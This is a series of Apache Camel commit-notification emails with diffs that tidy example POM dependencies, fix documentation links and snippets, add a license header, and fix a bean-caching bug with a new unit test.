a/examples/camel-example-spring-boot-master/src/main/resources/application.properties
+++ 
b/examples/camel-example-spring-boot-master/src/main/resources/application.properties
@@ -35,6 +35,7 @@ node.id = ${random.uuid}
 node.namespace = camel-master
 
 camel.springboot.name = SampleClusteredRouteController
+camel.springboot.main-run-controller = true
 camel.springboot.jmx-enabled = false
 
 camel.component.file.cluster.service.enabled = true



[camel] branch master updated: CAMEL-13084 Clean up the camel-example dependencies

2019-01-31 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 97b08d7  CAMEL-13084 Clean up the camel-example dependencies
97b08d7 is described below

commit 97b08d77d7f313c823e00be01caad7b694b23c3e
Author: Willem Jiang 
AuthorDate: Fri Feb 1 11:08:23 2019 +0800

CAMEL-13084 Clean up the camel-example dependencies
---
 examples/camel-example-fhir-auth-tx-spring-boot/pom.xml|  5 -
 examples/camel-example-fhir-spring-boot/pom.xml|  5 -
 examples/camel-example-rabbitmq/pom.xml|  5 -
 examples/camel-example-rest-producer/pom.xml   |  5 -
 .../cluster-node/pom.xml   |  5 -
 .../application/pom.xml|  5 -
 .../service/pom.xml|  5 -
 examples/camel-example-spring-boot-master/pom.xml  |  5 -
 examples/camel-example-spring-boot-rest-swagger/pom.xml|  5 -
 .../camel-example-spring-boot-servicecall/consumer/pom.xml |  5 -
 .../pom.xml|  5 -
 examples/camel-example-spring-boot-xml/pom.xml |  5 -
 examples/camel-example-spring-boot/pom.xml |  5 -
 .../consumer/pom.xml   |  5 -
 .../camel-example-spring-cloud-servicecall/service/pom.xml |  5 -
 .../consumer/pom.xml   |  5 -
 .../service/pom.xml|  5 -
 examples/camel-example-twitter-salesforce/pom.xml  |  5 -
 examples/camel-example-validator-spring-boot/pom.xml   |  5 -
 examples/pom.xml   | 14 ++
 20 files changed, 14 insertions(+), 95 deletions(-)

diff --git a/examples/camel-example-fhir-auth-tx-spring-boot/pom.xml 
b/examples/camel-example-fhir-auth-tx-spring-boot/pom.xml
index eb95990..4dc9f98 100644
--- a/examples/camel-example-fhir-auth-tx-spring-boot/pom.xml
+++ b/examples/camel-example-fhir-auth-tx-spring-boot/pom.xml
@@ -58,11 +58,6 @@
 pom
 import
   
-  
-javax.servlet
-javax.servlet-api
-${javax.servlet.api.version}
-  
 
   
 
diff --git a/examples/camel-example-fhir-spring-boot/pom.xml 
b/examples/camel-example-fhir-spring-boot/pom.xml
index 5d27f6f..7392138 100644
--- a/examples/camel-example-fhir-spring-boot/pom.xml
+++ b/examples/camel-example-fhir-spring-boot/pom.xml
@@ -58,11 +58,6 @@
 pom
 import
   
-  
-javax.servlet
-javax.servlet-api
-${javax.servlet.api.version}
-  
 
   
 
diff --git a/examples/camel-example-rabbitmq/pom.xml 
b/examples/camel-example-rabbitmq/pom.xml
index 7d7c8e7..9990146 100644
--- a/examples/camel-example-rabbitmq/pom.xml
+++ b/examples/camel-example-rabbitmq/pom.xml
@@ -58,11 +58,6 @@
 pom
 import
   
-  
-javax.servlet
-javax.servlet-api
-${javax.servlet.api.version}
-  
 
   
 
diff --git a/examples/camel-example-rest-producer/pom.xml 
b/examples/camel-example-rest-producer/pom.xml
index ea0f08f..dc10f54 100644
--- a/examples/camel-example-rest-producer/pom.xml
+++ b/examples/camel-example-rest-producer/pom.xml
@@ -58,11 +58,6 @@
 pom
 import
   
-  
-javax.servlet
-javax.servlet-api
-${javax.servlet.api.version}
-  
 
   
 
diff --git 
a/examples/camel-example-spring-boot-clustered-route-controller/cluster-node/pom.xml
 
b/examples/camel-example-spring-boot-clustered-route-controller/cluster-node/pom.xml
index 870b0c0..c8a5ef7 100644
--- 
a/examples/camel-example-spring-boot-clustered-route-controller/cluster-node/pom.xml
+++ 
b/examples/camel-example-spring-boot-clustered-route-controller/cluster-node/pom.xml
@@ -51,11 +51,6 @@
 pom
 import
   
-  
-javax.servlet
-javax.servlet-api
-${javax.servlet.api.version}
-  
 
   
 
diff --git 
a/examples/camel-example-spring-boot-health-checks/application/pom.xml 
b/examples/camel-example-spring-boot-health-checks/application/pom.xml
index ad17bb6..8eaceb3 100644
--- a/examples/camel-example-spring-boot-health-checks/application/pom.xml
+++ b/examples/camel-example-spring-boot-health-checks/application/pom.xml
@@ -55,11 +55,6 @@
 pom
 import
   
-  
-javax.servlet
-javax.servlet-api
-${javax.servlet.api.version}
-  
 
   
 
diff --git a/examples/camel-example-spring-boot-health-checks/service/pom.xml 
b/examples/camel-example-spring-boot-health-checks/service/pom.xml
index 8979790..62c0ad4 100644
--- a/examples/camel-example-spring-boot-health-checks/service/pom.xml

[camel] branch camel-2.23.x updated: CAMEL-13084 Clean up the camel-example dependencies

2019-01-31 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch camel-2.23.x
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/camel-2.23.x by this push:
 new a66645c   CAMEL-13084 Clean up the camel-example dependencies
a66645c is described below

commit a66645cf04fbe62aa94be9d1333c2f4f786e0439
Author: Willem Jiang 
AuthorDate: Fri Feb 1 11:08:23 2019 +0800

 CAMEL-13084 Clean up the camel-example dependencies
---
 examples/camel-example-rest-producer/pom.xml |  5 -
 examples/camel-example-spring-boot/pom.xml   |  5 -
 examples/pom.xml | 23 +++
 3 files changed, 19 insertions(+), 14 deletions(-)

diff --git a/examples/camel-example-rest-producer/pom.xml 
b/examples/camel-example-rest-producer/pom.xml
index 0e96306..bbae384 100644
--- a/examples/camel-example-rest-producer/pom.xml
+++ b/examples/camel-example-rest-producer/pom.xml
@@ -57,11 +57,6 @@
 pom
 import
   
-  
-javax.servlet
-javax.servlet-api
-4.0.1
-  
 
   
 
diff --git a/examples/camel-example-spring-boot/pom.xml 
b/examples/camel-example-spring-boot/pom.xml
index 20fea0e..3f1e049 100644
--- a/examples/camel-example-spring-boot/pom.xml
+++ b/examples/camel-example-spring-boot/pom.xml
@@ -57,11 +57,6 @@
 pom
 import
   
-  
-javax.servlet
-javax.servlet-api
-4.0.1
-  
 
   
 
diff --git a/examples/pom.xml b/examples/pom.xml
index 89be640..81ac0b8 100644
--- a/examples/pom.xml
+++ b/examples/pom.xml
@@ -80,7 +80,7 @@
 camel-example-loan-broker-cxf
 camel-example-loan-broker-jms
 camel-example-management
-camel-example-micrometer  
+camel-example-micrometer
 camel-example-mybatis
 camel-example-netty-custom-correlation
 camel-example-netty-http
@@ -152,9 +152,24 @@
 
 ${project.artifactId}
 false
+4.0.1
 
   
 
+  
+
+  
+  
+javax.servlet
+javax.servlet-api
+${javax.servlet.api.version}
+  
+
+  
+
   
 
   
@@ -261,9 +276,9 @@
 true
   
 
-
 
   add-remote-repo



[camel] branch master updated: Fix the example document error

2019-01-29 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 5ba5e94  Fix the example document error
5ba5e94 is described below

commit 5ba5e9426c278aba34de90e183f8e7e8a74556e5
Author: Willem Jiang 
AuthorDate: Wed Jan 30 14:41:46 2019 +0800

Fix the example document error

Fixed the document error of 
camel-example-spring-boot-supervising-route-controller
---
 .../readme.adoc  | 12 ++--
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git 
a/examples/camel-example-spring-boot-supervising-route-controller/readme.adoc 
b/examples/camel-example-spring-boot-supervising-route-controller/readme.adoc
index 2c5aa35..7aa325c 100644
--- 
a/examples/camel-example-spring-boot-supervising-route-controller/readme.adoc
+++ 
b/examples/camel-example-spring-boot-supervising-route-controller/readme.adoc
@@ -16,13 +16,13 @@ Beside JMX you can use Spring Boot Endpoints to interact 
with the routes:
 
 curl -XGET -s http://localhost:8080/actuator/camelroutes
 
+
+* To get details about a route
 +
-+* To get details about a route
-++
-+[source]
-+
-+curl -XGET -s http://localhost:8080/actuator/camelroutes/{id}/detail
-+
+[source]
+
+curl -XGET -s http://localhost:8080/actuator/camelroutes/{id}/detail
+
 
 * To get info about a route
 +



[camel] branch master updated: Updated the cxf-component document links

2019-01-22 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 39b1708  Updated the cxf-component document links
39b1708 is described below

commit 39b17083f56bc2e3bb74c62af6fe383fa4879fb7
Author: Willem Jiang 
AuthorDate: Tue Jan 22 18:16:20 2019 +0800

Updated the cxf-component document links
---
 .../camel-cxf/src/main/docs/cxf-component.adoc | 97 +++---
 1 file changed, 48 insertions(+), 49 deletions(-)

diff --git a/components/camel-cxf/src/main/docs/cxf-component.adoc 
b/components/camel-cxf/src/main/docs/cxf-component.adoc
index 0410e6b..f9f1c34 100644
--- a/components/camel-cxf/src/main/docs/cxf-component.adoc
+++ b/components/camel-cxf/src/main/docs/cxf-component.adoc
@@ -17,50 +17,50 @@ The *cxf:* component provides integration with
 http://cxf.apache.org[Apache CXF] for connecting to 
http://cxf.apache.org/docs/jax-ws.html[JAX-WS] services
 hosted in CXF.
 
-* link:#CXF-CXFComponent[CXF Component]
-** link:#CXF-URIformat[URI format]
-** link:#CXF-Options[Options]
-*** link:#CXF-Descriptionsofthedataformats[Descriptions of the
+* link:#cxf-component[CXF Component]
+** link:#uri-format[URI format]
+** link:#options[Options]
+*** link:#descriptions-of-the-dataformats[Descriptions of the
 dataformats]
- link:#CXF-HowtoenableCXFLoggingOutInterceptorinMESSAGEmode[How to
+ link:#how-to-enable-cxfs-loggingoutinterceptor-in-message-mode[How to
 enable CXF's LoggingOutInterceptor in MESSAGE mode]
-*** link:#CXF-DescriptionofrelayHeadersoption[Description of
+*** link:#description-of-relayheaders-option[Description of
 relayHeaders option]
- link:#CXF-AvailableonlyinPOJOmode[Available only in POJO mode]
- link:#CXF-ChangessinceRelease2.0[Changes since Release 2.0]
-** link:#CXF-ConfiguretheCXFendpointswithSpring[Configure the CXF
+ link:#available-only-in-pojo-mode[Available only in POJO mode]
+ link:#changes-since-release20[Changes since Release 2.0]
+** link:#configure-the-cxf-endpoints-with-spring[Configure the CXF
 endpoints with Spring]
-** link:#CXF-ConfiguringtheCXFEndpointswithApacheAriesBlueprint.[Configuring
+** link:#configuring-the-cxf-endpoints-with-apache-aries-blueprint[Configuring
 the CXF Endpoints with Apache Aries Blueprint.]
-** 
link:#CXF-Howtomakethecamel-cxfcomponentuselog4jinsteadofjava.util.logging[How
+** 
link:#how-to-make-the-camel-cxf-component-use-log4j-instead-of-javautillogging[How
 to make the camel-cxf component use log4j instead of java.util.logging]
-** link:#CXF-Howtoletcamel-cxfresponsemessagewithxmlstartdocument[How to
+** link:#how-to-let-camel-cxf-response-message-with-xml-start-document[How to
 let camel-cxf response message with xml start document]
-** link:#CXF-HowtooverridetheCXFproduceraddressfrommessageheader[How to
+** link:#how-to-override-the-cxf-producer-address-from-message-header[How to
 override the CXF producer address from message header]
-** link:#CXF-Howtoconsumeamessagefromacamel-cxfendpointinPOJOdataformat[How
+** 
link:#how-to-consume-a-message-from-a-camel-cxf-endpoint-in-pojo-data-format[How
 to consume a message from a camel-cxf endpoint in POJO data format]
-** link:#CXF-Howtopreparethemessageforthecamel-cxfendpointinPOJOdataformat[How
+** 
link:#how-to-prepare-the-message-for-the-camel-cxf-endpoint-in-pojo-data-format[How
 to prepare the message for the camel-cxf endpoint in POJO data format]
-** 
link:#CXF-Howtodealwiththemessageforacamel-cxfendpointinPAYLOADdataformat[How
+** 
link:#how-to-deal-with-the-message-for-a-camel-cxf-endpoint-in-payload-dataformat[How
 to deal with the message for a camel-cxf endpoint in PAYLOAD data
 format]
-** link:#CXF-HowtogetandsetSOAPheadersinPOJOmode[How to get and set SOAP
+** link:#how-to-get-and-set-soap-headers-in-pojo-mode[How to get and set SOAP
 headers in POJO mode]
-** link:#CXF-HowtogetandsetSOAPheadersinPAYLOADmode[How to get and set
+** link:#how-to-get-and-set-soap-headers-in-payload-mode[How to get and set
 SOAP headers in PAYLOAD mode]
-** link:#CXF-SOAPheadersarenotavailableinMESSAGEmode[SOAP headers are
+** link:#soap-headers-are-not-available-in-message-mode[SOAP headers are
 not available in MESSAGE mode]
-** link:#CXF-HowtothrowaSOAPFaultfromCamel[How to throw a SOAP Fault
+** link:#how-to-throw-a-soap-fault-from-camel[How to throw a SOAP Fault
 from Camel]
-** link:#CXF-Howtopropagateacamel-cxfendpointrequestandresponsecontext[How
+** 
link:#how-to-propagate-a-camel-cxf-endpoints-request-and-response-context[How
 to propagate a camel-cxf endpoint's request and response context]
-** link:#CXF-AttachmentSupport[Attachment Support]
-** link:#CXF-StreamingSupportinPAYLOADmode[Streaming Support in PAYLOAD
+** link:#attachment-support[Attachment Support]
+** link:#streaming-support-in-payload-mode[Streaming Support in PAYLOAD
 mode]
-** link:#CXF

[camel] branch master updated: Added the code snippet back to the transactional-client.adoc

2018-11-01 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 0786c68  Added the code snippet back to the transactional-client.adoc
0786c68 is described below

commit 0786c6859016e400d2f5e908cad4b349ec7e4fcf
Author: Willem Jiang 
AuthorDate: Fri Nov 2 10:28:41 2018 +0800

Added the code snippet back to the transactional-client.adoc
---
 .../src/main/docs/eips/transactional-client.adoc   | 152 +++--
 1 file changed, 140 insertions(+), 12 deletions(-)

diff --git a/camel-core/src/main/docs/eips/transactional-client.adoc 
b/camel-core/src/main/docs/eips/transactional-client.adoc
index aad20c7..31bb8c1 100644
--- a/camel-core/src/main/docs/eips/transactional-client.adoc
+++ b/camel-core/src/main/docs/eips/transactional-client.adoc
@@ -47,11 +47,11 @@ Then you look them up and use them to create the 
JmsComponent.
 
 [source,java]
 
-PlatformTransactionManager transactionManager = (PlatformTransactionManager) 
spring.getBean("jmsTransactionManager");
-ConnectionFactory connectionFactory = (ConnectionFactory) 
spring.getBean("jmsConnectionFactory");
-JmsComponent component = 
JmsComponent.jmsComponentTransacted(connectionFactory, transactionManager);
-component.getConfiguration().setConcurrentConsumers(1);
-ctx.addComponent("activemq", component);
+  PlatformTransactionManager transactionManager = (PlatformTransactionManager) 
spring.getBean("jmsTransactionManager");
+  ConnectionFactory connectionFactory = (ConnectionFactory) 
spring.getBean("jmsConnectionFactory");
+  JmsComponent component = 
JmsComponent.jmsComponentTransacted(connectionFactory, transactionManager);
+  component.getConfiguration().setConcurrentConsumers(1);
+  ctx.addComponent("activemq", component);
 
 
 [[TransactionalClient-TransactionPolicies]]
@@ -154,8 +154,24 @@ configure a transaction policy bean, so we do not have any
 `PROPAGATION_REQUIRED` beans. All the beans needed to be configured is
 *standard* Spring beans only, eg. there are no Camel specific
 configuration at all.
-
-/components/camel-spring/src/test/resources/org/apache/camel/spring/interceptor/springTransactionalClientDataSourceMinimalConfiguration.xml
+[source,xml]
+
+
+
+   
+
+
+
+
+
+
+
+
+
+
+
+
+
 
 Then we are ready to define our Camel routes. We have two routes: 1 for
 success conditions, and 1 for a forced rollback condition.
@@ -163,7 +179,42 @@ success conditions, and 1 for a forced rollback condition.
 This is after all based on a unit test. Notice that we mark each route
 as transacted using the *transacted* tag.
 
-/components/camel-spring/src/test/resources/org/apache/camel/spring/interceptor/springTransactionalClientDataSourceMinimalConfiguration.xml
+[source,xml]
+
+http://camel.apache.org/schema/spring;>
+
+
+
+
+
+Tiger in Action
+
+
+
+Elephant in Action
+
+
+
+
+
+
+
+
+
+Tiger in Action
+
+
+
+Donkey in Action
+
+
+
+
+
 
 That is all that is needed to configure a Camel route as being transacted.
 Just remember to use the *transacted* DSL. The rest is standard Spring
@@ -182,12 +233,57 @@ First we configure the standard Spring XML to declare a 
JMS connection
 factory, a JMS transaction manager and our ActiveMQ component that we
 use in our routing.
 
-/components/camel-jms/src/test/resources/org/apache/camel/component/jms/tx/TransactionMinimalConfigurationTest.xml
+[source,xml]
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
 
 And then we configure our routes. Notice that all we have to do is mark the
 route as transacted using the *transacted* tag.
 
-/components/camel-jms/src/test/resources/org/apache/camel/component/jms/tx/TransactionMinimalConfigurationTest.xml
+[source,xml]
+
+http://camel.apache.org/schema/spring;>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
 
 = Transaction error handler
 
@@ -243,12 +339,44 @@ propagation behaviors for that where you configure it as 
follows:
 
 This is configured in the Spring XML file:
 
-/components/camel-spring/src/test/resources/org/apache/camel/spring/interceptor/MixedTransactionPropagationTest.xml
+[source,xml]
+
+
+
+
+
+
+
+
+
+
+
 
 Then in the routes you use transacted DSL to indicate which of these tw

[camel] branch master updated: CAMEL-12625 Add ASF header to the component file fhir

2018-07-15 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new c8f8212  CAMEL-12625 Add ASF header to the component file fhir
c8f8212 is described below

commit c8f821297beb0a8e8d876c20b681acb74fdfa950
Author: Willem Jiang 
AuthorDate: Sun Jul 15 15:16:12 2018 +0800

CAMEL-12625 Add ASF header to the component file fhir
---
 .../META-INF/services/org/apache/camel/component/fhir   | 17 +
 1 file changed, 17 insertions(+)

diff --git 
a/components/camel-fhir/camel-fhir-component/src/main/resources/META-INF/services/org/apache/camel/component/fhir
 
b/components/camel-fhir/camel-fhir-component/src/main/resources/META-INF/services/org/apache/camel/component/fhir
index ae8e6e0..da70c09 100644
--- 
a/components/camel-fhir/camel-fhir-component/src/main/resources/META-INF/services/org/apache/camel/component/fhir
+++ 
b/components/camel-fhir/camel-fhir-component/src/main/resources/META-INF/services/org/apache/camel/component/fhir
@@ -1 +1,18 @@
+#
+# Licensed to the Apache Software Foundation (ASF) under one or more
+# contributor license agreements.  See the NOTICE file distributed with
+# this work for additional information regarding copyright ownership.
+# The ASF licenses this file to You under the Apache License, Version 2.0
+# (the "License"); you may not use this file except in compliance with
+# the License.  You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
 class=org.apache.camel.component.fhir.FhirComponent



[camel] branch camel-2.22.x updated: CAMEL-12610 Fixed the issue of camel bean always invokes cached instance

2018-07-07 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch camel-2.22.x
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/camel-2.22.x by this push:
 new 63cf5f9  CAMEL-12610 Fixed the issue of camel bean always invokes 
cached instance
63cf5f9 is described below

commit 63cf5f9555cf852884d53607519dcd7ac6cea29f
Author: Willem Jiang 
AuthorDate: Sun Jul 8 10:48:22 2018 +0800

CAMEL-12610 Fixed the issue of camel bean always invokes cached instance
---
 .../component/bean/AbstractBeanProcessor.java  |   3 +-
 .../org/apache/camel/processor/BeanCachedTest.java | 104 +
 2 files changed, 106 insertions(+), 1 deletion(-)

diff --git 
a/camel-core/src/main/java/org/apache/camel/component/bean/AbstractBeanProcessor.java
 
b/camel-core/src/main/java/org/apache/camel/component/bean/AbstractBeanProcessor.java
index 063ccf9..173f89d 100644
--- 
a/camel-core/src/main/java/org/apache/camel/component/bean/AbstractBeanProcessor.java
+++ 
b/camel-core/src/main/java/org/apache/camel/component/bean/AbstractBeanProcessor.java
@@ -92,7 +92,8 @@ public abstract class AbstractBeanProcessor implements 
AsyncProcessor {
 
 // do we have a custom adapter for this POJO to a Processor
 // but only do this if allowed
-if (allowProcessor(explicitMethodName, beanInfo)) {
+// we need to check beanHolder is Processor is support, to avoid the 
bean cached issue
+if (allowProcessor(explicitMethodName, beanInfo) && 
beanHolder.supportProcessor()) {
 processor = getProcessor();
 if (processor == null && !lookupProcessorDone) {
 // only attempt to lookup the processor once or nearly once
diff --git 
a/camel-core/src/test/java/org/apache/camel/processor/BeanCachedTest.java 
b/camel-core/src/test/java/org/apache/camel/processor/BeanCachedTest.java
new file mode 100644
index 000..f9cfcb4
--- /dev/null
+++ b/camel-core/src/test/java/org/apache/camel/processor/BeanCachedTest.java
@@ -0,0 +1,104 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *  http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.camel.processor;
+
+import java.util.concurrent.atomic.AtomicInteger;
+
+import javax.naming.Context;
+
+import org.apache.camel.CamelExecutionException;
+import org.apache.camel.ContextTestSupport;
+import org.apache.camel.Exchange;
+import org.apache.camel.Processor;
+import org.apache.camel.builder.RouteBuilder;
+import org.apache.camel.impl.JndiRegistry;
+import org.junit.Test;
+
+public class BeanCachedTest extends ContextTestSupport {
+
+private Context context;
+
+private JndiRegistry registry;
+
+@Override
+protected RouteBuilder createRouteBuilder() {
+return new RouteBuilder() {
+@Override
+public void configure() {
+from("direct:noCache")
+.to("bean:something?cache=false");
+from("direct:cached")
+.to("bean:something?cache=true");
+
+}
+};
+}
+
+@Override
+protected JndiRegistry createRegistry() throws Exception {
+JndiRegistry registry = super.createRegistry();
+registry.bind("something", new MyBean());
+this.context = registry.getContext();
+this.registry = registry;
+return registry;
+}
+
+@Test
+public void testFreshBeanInContext() throws Exception {
+// Just make sure the bean processor doesn't work if the cached is 
false
+MyBean originalInstance = registry.lookup("something", MyBean.class);
+template.sendBody("direct:noCache", null);
+context.unbind("something");
+context.bind("something", new MyBean());
+// Make sure we can get the object from the registry
+assertNotSame(registry.lookup("something"), originalInstance);
+template.sendBody("direct:noCache", null);
+}
+
+@Test
+public void testBeanWithCached() throws Exception {
+// Just make sure the bean proces

[camel] branch master updated: CAMEL-12610 Fixed the issue of camel bean always invokes cached instance

2018-07-07 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 3a7f436  CAMEL-12610 Fixed the issue of camel bean always invokes 
cached instance
3a7f436 is described below

commit 3a7f436de13e07b0c964e3677974150b5c84ec04
Author: Willem Jiang 
AuthorDate: Sun Jul 8 10:48:22 2018 +0800

CAMEL-12610 Fixed the issue of camel bean always invokes cached instance
---
 .../component/bean/AbstractBeanProcessor.java  |   3 +-
 .../org/apache/camel/processor/BeanCachedTest.java | 104 +
 2 files changed, 106 insertions(+), 1 deletion(-)

diff --git 
a/camel-core/src/main/java/org/apache/camel/component/bean/AbstractBeanProcessor.java
 
b/camel-core/src/main/java/org/apache/camel/component/bean/AbstractBeanProcessor.java
index 063ccf9..173f89d 100644
--- 
a/camel-core/src/main/java/org/apache/camel/component/bean/AbstractBeanProcessor.java
+++ 
b/camel-core/src/main/java/org/apache/camel/component/bean/AbstractBeanProcessor.java
@@ -92,7 +92,8 @@ public abstract class AbstractBeanProcessor implements 
AsyncProcessor {
 
 // do we have a custom adapter for this POJO to a Processor
 // but only do this if allowed
-if (allowProcessor(explicitMethodName, beanInfo)) {
+// we need to check beanHolder is Processor is support, to avoid the 
bean cached issue
+if (allowProcessor(explicitMethodName, beanInfo) && 
beanHolder.supportProcessor()) {
 processor = getProcessor();
 if (processor == null && !lookupProcessorDone) {
 // only attempt to lookup the processor once or nearly once
diff --git 
a/camel-core/src/test/java/org/apache/camel/processor/BeanCachedTest.java 
b/camel-core/src/test/java/org/apache/camel/processor/BeanCachedTest.java
new file mode 100644
index 000..f9cfcb4
--- /dev/null
+++ b/camel-core/src/test/java/org/apache/camel/processor/BeanCachedTest.java
@@ -0,0 +1,104 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *  http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.camel.processor;
+
+import java.util.concurrent.atomic.AtomicInteger;
+
+import javax.naming.Context;
+
+import org.apache.camel.CamelExecutionException;
+import org.apache.camel.ContextTestSupport;
+import org.apache.camel.Exchange;
+import org.apache.camel.Processor;
+import org.apache.camel.builder.RouteBuilder;
+import org.apache.camel.impl.JndiRegistry;
+import org.junit.Test;
+
+public class BeanCachedTest extends ContextTestSupport {
+
+private Context context;
+
+private JndiRegistry registry;
+
+@Override
+protected RouteBuilder createRouteBuilder() {
+return new RouteBuilder() {
+@Override
+public void configure() {
+from("direct:noCache")
+.to("bean:something?cache=false");
+from("direct:cached")
+.to("bean:something?cache=true");
+
+}
+};
+}
+
+@Override
+protected JndiRegistry createRegistry() throws Exception {
+JndiRegistry registry = super.createRegistry();
+registry.bind("something", new MyBean());
+this.context = registry.getContext();
+this.registry = registry;
+return registry;
+}
+
+@Test
+public void testFreshBeanInContext() throws Exception {
+// Just make sure the bean processor doesn't work if the cached is 
false
+MyBean originalInstance = registry.lookup("something", MyBean.class);
+template.sendBody("direct:noCache", null);
+context.unbind("something");
+context.bind("something", new MyBean());
+// Make sure we can get the object from the registry
+assertNotSame(registry.lookup("something"), originalInstance);
+template.sendBody("direct:noCache", null);
+}
+
+@Test
+public void testBeanWithCached() throws Exception {
+// Just make sure the bean proces

[camel] branch master updated: Updated the first version of camel-as2

2018-06-11 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new a9342af  Updated the first version of camel-as2
a9342af is described below

commit a9342af301c00b81ff99211c8cc6dffd254390c0
Author: Willem Jiang 
AuthorDate: Tue Jun 12 12:35:19 2018 +0800

Updated the first version of camel-as2
---
 .../src/main/java/org/apache/camel/component/as2/AS2Endpoint.java   | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git 
a/components/camel-as2/camel-as2-component/src/main/java/org/apache/camel/component/as2/AS2Endpoint.java
 
b/components/camel-as2/camel-as2-component/src/main/java/org/apache/camel/component/as2/AS2Endpoint.java
index 5fbed2c..b03d0a5 100644
--- 
a/components/camel-as2/camel-as2-component/src/main/java/org/apache/camel/component/as2/AS2Endpoint.java
+++ 
b/components/camel-as2/camel-as2-component/src/main/java/org/apache/camel/component/as2/AS2Endpoint.java
@@ -43,7 +43,7 @@ import 
org.apache.camel.util.component.ApiMethodPropertiesHelper;
 /**
  * Component used for transferring data secure and reliable over the internet 
using the AS2 protocol.
  */
-@UriEndpoint(scheme = "as2", firstVersion = "2.20.0", title = "AS2", syntax = 
"as2:name", consumerClass = AS2Consumer.class, label = "AS2")
+@UriEndpoint(scheme = "as2", firstVersion = "2.22.0", title = "AS2", syntax = 
"as2:name", consumerClass = AS2Consumer.class, label = "AS2")
 public class AS2Endpoint extends AbstractApiEndpoint {
 
 @UriPath @Metadata(required = "true")

-- 
To stop receiving notification emails like this one, please contact
ningji...@apache.org.


[camel] branch master updated: Remove multiple duplicated lines from web3j-component

2018-06-11 Thread ningjiang
This is an automated email from the ASF dual-hosted git repository.

ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git


The following commit(s) were added to refs/heads/master by this push:
 new 510700b  Remove multiple duplicated lines from web3j-component
510700b is described below

commit 510700bf3c07647d1ba9339fa64648dd96083b36
Author: Willem Jiang 
AuthorDate: Mon Jun 11 17:27:41 2018 +0800

Remove multiple duplicated lines from web3j-component
---
 components/camel-web3j/src/main/docs/web3j-component.adoc | 8 +---
 1 file changed, 1 insertion(+), 7 deletions(-)

diff --git a/components/camel-web3j/src/main/docs/web3j-component.adoc 
b/components/camel-web3j/src/main/docs/web3j-component.adoc
index a259d18..d63c0a3 100644
--- a/components/camel-web3j/src/main/docs/web3j-component.adoc
+++ b/components/camel-web3j/src/main/docs/web3j-component.adoc
@@ -3,12 +3,6 @@
 
 *Available as of Camel version 2.22*
 
-*Available as of Camel version 2.22*
-
-
-*Available as of Camel version 2.22*
-
-
 The *Ethereum* blockchain component uses the
 https://github.com/web3j/web3j[web3j] client
 API and allows you to interact with Ethereum compatible nodes such as 
https://github.com/ethereum/go-ethereum/wiki/geth[Geth], 
https://github.com/paritytech/parity[Parity], 
https://github.com/jpmorganchase/quorum/wiki[Quorum], 
https://infura.io[Infura], etc.
@@ -156,4 +150,4 @@ Read the balance of an address at a specific block number:
 
 from("direct:start")
 
.to("web3j://http://127.0.0.1:7545?operation=ETH_GET_BALANCE=0xc8CDceCE5d006dAB638029EBCf6Dd666efF5A952=10;);
-
\ No newline at end of file
+

-- 
To stop receiving notification emails like this one, please contact
ningji...@apache.org.


